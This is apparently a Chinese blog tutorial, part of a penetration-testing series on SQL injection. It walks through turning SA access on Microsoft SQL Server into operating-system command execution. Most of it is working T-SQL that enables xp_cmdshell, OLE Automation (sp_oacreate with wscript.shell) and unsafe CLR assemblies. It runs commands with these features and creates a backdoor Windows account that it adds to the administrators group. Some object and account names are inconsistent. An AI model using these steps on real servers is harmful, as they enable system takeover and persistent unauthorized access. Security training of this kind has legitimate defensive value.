渗透测试---手把手教你SQL注入(10)---SQL注入拓展总结http://t.csdnimg.cn/4mVVJ渗透测试---手把手教你SQL注入(11)---SQL注入拓展总结(SQLsever在线靶场实战)
http://t.csdnimg.cn/5ma4G本节我们来讨论在SQLserver注入过程中的权限问题----
SQLserver有哪些权限?
首先在这里“提炼”一下SQLserver中有哪些权限:
权限从高到底一共有三种:
SA权限 | 是MSSQL的最高权限,拥有数据库操作、文件管理、命令执行、注册表读取修改等权限,类似于windows的system、linux的root权限。如果在SQl注入中能够拿到SA权限,那么恭喜您,您拿到了一个高危漏洞✌ |
DB权限: | 拥有文件管理和数据库操作的权限。 |
public权限 | 权限较小,只能进行数据库操作,一般通过文件备份功能来备份一句话木马,进而拿shell。 |
一. 在SA权限下使用xp_cmdshell执行系统命令:
SQLsever中的SA权限是账号的默许管理权限,是安全特权级别最高的权限。
拥有SA权限的用户可以在SQLsever数据库中做任何事情,
比如访问所有的数据库、表、视图和存储进程,除系统表外,
可以对所有数据库中的所有对象进行查询、创建、更改和删除的操作等
为了安全,一般不会将SA权限给某一个用户使用,
而是采取严格的权限控制,
只允许足够权限可以完成任务的用户登录。
啥是xp_cmdshell?🧐
xp_cmdshell是SQL Server的一个扩展存储过程
(Extended Stored Procedure,简称ESP),
它允许SQL Server执行操作系统命令。
通过使用xp_cmdshell,你可以在SQL Server中执行任何有效的操作系统命令。
这个扩展存储过程的使用需要开启xp_cmdshell配置选项。
然而,出于安全考虑,这个选项通常默认是关闭的。
使用xp_cmdshell会带来极大的安全风险,
因为它允许执行任意命令,包括潜在的恶意命令。
此外,开启xp_cmdshell需要管理员权限,即SA权限!
判断xp_cmdshell是否打开:
在通常情况下,xp_cmdshell为关闭状态,可以执行如下语句判断是否存在xp_cmdshell:
select count(*) FROM master.dbo.sysobjects
Where xtype = 'X' AND name = 'xp_cmdshell';
如图,查询结果为1表示存在,为0表示不存在
注意,这里虽然返回了1,但是依然无法利用xp_cmdshell执行系统命令,需要通过下面的四个步骤来达到执行系统命令的目的:
四步开启xp_cmdshell:
如果xp_cmdshell没有开启,我们可以依次执行下面四个命令开启:
第一步:开启 show advanced options :
execute('sp_configure "show advanced options",1')
或
exec sp_configure 'show advanced options',1;
语句解析:
该语句调用系统存储过程 sp_configure 来设置 "show advanced options" 的值。
"sp_configure" 是一个系统存储过程,用于配置SQL Server的各项参数。
这个存储过程有很多参数,其中 "show advanced options" 是其中一个参数。
"show advanced options" 参数用于控制是否在SQL Server配置向导中显示高级选项。
执行 reconfigure 使更改在当前会话中生效:
execute('reconfigure');
或
reconfigure;
语句解析:
RECONFIGURE 是 SQL Server 中的一个命令,用于使当前会话中的更改生效。
在 SQL Server 中,更改一些配置参数后,这些更改不会立即生效,
而是需要在重新配置后才能生效。
但请注意,此命令仅在当前会话中有效,
如果需要使更改在所有会话中都生效,需要重启 SQL Server 服务。
第二步:将 xp_cmdshell的值设置为1:
execute('sp_configure "xp_cmdshell", 1')
或
exec sp_configure 'xp_cmdshell',1;
语句解析:
xp_cmdshell是一个SQLServer的扩展存储过程,
它允许SQLServer执行系统命令。
在默认情况下,xp_cmdshell是关闭的,
因此需要通过执行sp_configure存储过程来启用它。
该语句中的 'sp_configure "xp_cmdshell", 1
表示将 xp_cmdshell 的值设置为1,从而启用它。
设置为1表示启用xp_cmdshell扩展存储过程。
执行 reconfigure 使更改在当前会话中生效:
execute('reconfigure');
或
reconfigure;
第三步:查看配置:
execute('sp_configure')
或
exec sp_configure;
语句解析:
sp_configure存储过程允许我们查看和更改SQL Server的配置参数。
这些参数决定了SQL Server的行为和性能。
执行 exec sp_configure 命令时,
它会显示SQL Server的当前配置参数及其值。
这可以帮助我们了解SQL Server的当前配置情况,并根据需要做出相应的更改。
第四步:尝试利用xp_cmdshell执行系统命令:
execute('xp_cmdshell "whoami"')
或
exec xp_cmdshell 'whoami';
利用xp_cmdshell新建管理员账户:
确定xp_cmdshell可以执行系统命令后,我们可以试着在系统中新增用户:
#在 Windows 系统中创建一个新的用户,用户名为 "luoyifang",密码为 "123456"。
exec xp_cmdshell 'net user luoyifang 123456';
#激活guest用户
exec xp_cmdshell 'net user luoyifang /active:yes';
#将guest用户添加到administrators用户组
exec xp_cmdshell 'net localgroup administrators luoyifang /add';
二. 在SA权限下使用sp_oacreate 执行系统命令
啥是sp_oacreate?🧐
注意:使用sp_oacreate的过程涉及到 SQL Server 的底层系统级别的操作,因此在使用sp_oacreate进行渗透测试时需要万分谨慎!
sp_oacreate 是 SQL Server 中的一个扩展存储过程,
它允许你在 SQL Server 数据库中创建和管理 COM(Component Object Model)对象。
COM 是一种由 Microsoft 开发的组件模型,用于实现程序之间的对象交互,
最初是为了与早期的 OLE(Object Linking and Embedding)技术竞争。
在 SQL Server 中,你可以使用 sp_oacreate 来创建一个新的 COM 对象,
并将其注册到 SQL Server 中。这样,你就可以在 SQL Server 数据库中直接使用这个 COM 对象。
==================================================================================
sp_oacreate 存储过程用于在 SQL Server 中创建一个新的 COM 对象。它接受两个参数:对象类名和对象引用。
语法:
sp_oacreate 'class_name', @object_var_name OUTPUT
class_name:要创建的 COM 对象的类名。
@object_var_name:用于存储创建的 COM 对象引用的变量名。
=====================================================================
示例
DECLARE @number INT
EXEC sp_oacreate 'wscript.number', @number OUTPUT
######################################################################
1. declare @number int:这行代码声明了一个名为 @number 的整型变量,
用于存储创建的 COM 对象的引用。
2. exec sp_oacreate 'wscript.number',@number output:这行代码
调用了 sp_oacreate 存储过程,尝试创建一个类型名为 wscript.number 的 COM 对象,
并将对象的引用存储在 @number 变量中。
output 参数表示将创建的 COM 对象的引用赋值给 @number 变量。
==========================================================================
在调用 sp_oacreate 之后,你需要使用 sp_oaindex 来为你的 COM 对象创建一个索引,
然后你就可以在 SQL Server 中使用这个 COM 对象了。当你不再需要这个 COM 对象时,你应该使用 sp_oadestroy 来销毁它,以释放它所占用的资源。
需要注意的是,使用 sp_oacreate 和相关的存储过程 (sp_oaindex, sp_oadestroy)
需要具有足够的权限。通常,只有具有数据库管理员或系统管理员权限的用户才能执行这些存储过程。
此外,由于这些存储过程涉及到 SQL Server 的底层系统级别的操作,
因此在使用sp_oacreate进行渗透测试时需要万分谨慎!
啥是sp_oamethod?🧐
sp_oamethod 存储过程用于在 SQL Server 中调用 COM 对象的方法。
它接受三个参数:对象引用、方法名称和参数列表。
语法
sp_oamethod @object_var_name, 'method_name', [parameters]
@object_var_name:要调用方法的 COM 对象的引用。
method_name:要调用的方法的名称。
parameters:传递给方法的参数列表,可以是 NULL 或具体值。
二.1 查看sp_oacreate 是否被可用:
declare @number int;
exec sp_oacreate 'wscript.number',@number output;
exec sp_oamethod @number,'run',null,'whoami';
这段 SQLserver 代码是使用扩展存储过程 sp_oacreate 和 sp_oamethod
来创建一个 COM 对象并执行一个方法。
下面是代码的分析:
1. declare @number int:这行代码声明了一个名为 @number 的整型变量,
用于存储创建的 COM 对象的引用。
2. exec sp_oacreate 'wscript.number',@number output:这行代码
调用了 sp_oacreate 存储过程,尝试创建一个类型名为 wscript.number 的 COM 对象,
并将该对象的引用存储在 @number 变量中。
output 参数表示将创建的 COM 对象的引用赋值给 @number 变量。
3. exec sp_oamethod @number,'run',null,'whoami':这行代码
调用了 sp_oamethod 存储过程,尝试在之前创建的 COM 对象上调用 run 方法。
null 表示没有参数传递给run方法。'whoami' 是传递给 run 方法的参数。
也就是像run方法传递了 null 和 whoami
综合起来,这段代码尝试创建一个 COM 对象(具体的类是 wscript.number),
然后在其上调用 run 方法来执行命令 whoami。
此时无法使用sp_oacreate:
二.2 开启sp_oacreate
1. exec sp_configure 'show advanced options', 1;
2. reconfigure with override;
3. exec sp_configure 'Ole Automation Procedures', 1;
4. reconfigure with override;
这段MSSQL语句主要用于开启显示高级选项和启用Ole自动化过程。下面是每个语句的详细解释:
1. exec sp_configure 'show advanced options', 1;
和之前开启时一样这个语句用于设置SQL Server的一个配置选项,
即'show advanced options'。当这个选项被设置为1时,表示开启显示高级选项。
2. reconfigure with override;
这个语句用于使上一条sp_configure命令的配置生效。
reconfigure表示重新配置SQL Server,而with override选项会覆盖现有的配置值。
也可以只使用reconfigure;
3. exec sp_configure 'Ole Automation Procedures', 1;
这个语句用于开启Ole自动化过程。当这个选项被设置为1时,表示启用Ole自动化过程。
Ole自动化过程是一种允许SQL Server通过OLE(Object Linking and Embedding---对象链接与嵌入)
技术与其他应用程序进行交互的方式。
4. reconfigure with override;
同样,这个语句也是用于使上一条sp_configure命令的配置生效。
总的来说,这段代码主要是为了开启显示高级选项和启用Ole自动化过程。
在更改了这些配置后,需要使用reconfigure with override;语句来使更改生效。
成功开启:⚓
可以发现命令成功执行但是没有回显!
二.3 利用sp_oacreate新建账户:
既然执行whoami没有回显,我们不妨试试添加账户:
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user luiyifang 123456 /add';
其他语句不变,仅需更换原本的whoami
三. 在SA权限下使用CLR执行系统命令:
啥是CLR?🧐
CLR是Common Language Runtime的缩写,它是一种.NET技术,
可以将.NET代码嵌入到SQL Server数据库中,通过CLR函数或存储过程来执行.NET代码。
CLR允许开发人员在SQL Server中直接使用.NET语言(如C#、VB.NET等)
来编写函数或存储过程,这些函数或存储过程可以访问SQL Server中的数据,
并使用.NET代码进行数据处理、转换、计算等操作。
使用CLR的好处包括扩展功能、提高性能、简化代码和安全性。
三.1 开启CLR:
exec sp_configure 'show advanced options', 1;
reconfigure;
Exec sp_configure 'clr enabled', 1;
reconfigure;
三.2 为导入程序集做准备:
1. alter database [master] set TRUSTWORTHY on
2. exec sp_changedbowner 'sa'
这两个语句分别执行了两个操作:
ALTER DATABASE [master] SET TRUSTWORTHY ON;
这条语句改变了SQL Server的master数据库的"Trustworthy"属性。
这个属性是SQL Server 2012引入的,用于表示数据库是否可以信任。如果将Trustworthy设置为ON,
那么数据库的所有者、模式和对象都将被赋予访问权限,而不需要显式地授予这些权限。
但是,这也可能带来安全风险,因为任何用户都可以获取到这些权限。
通常,只有在你完全信任这些权限的时候,才会设置Trustworthy属性为ON。
在一般情况下,我们会将这个属性保持为OFF。
EXEC sp_changedbowner 'sa';
这条语句改变了数据库的所有者。在SQL Server中,每个数据库都有一个所有者,
所有者对数据库拥有所有的权限。sp_changedbowner是一个系统存储过程,它用于改变当前数据库的所有者。
这里,'sa'是SQL Server的内置账户名,代表了SQL Server的System Administrator(系统管理员)。
这条语句将当前数据库的所有权转移给了'sa'。
三.3 导入程序集
create assembly [chengxuji]
authorization [dbo] from 十六进制数据
with permission_set = unsafe;
create procedure sp_cmdexec @command nvarchar with execute as caller
as external name chengxuji.storedprocedures.cmdexec;
三.4 执行命令
exec [dbo].[SqlStoredProcedure1];
例如:exec sp_cmdExec 'whoami';
三.5 删除程序集
drop procedure sp_cmdExec;
drop assembly [shujuji]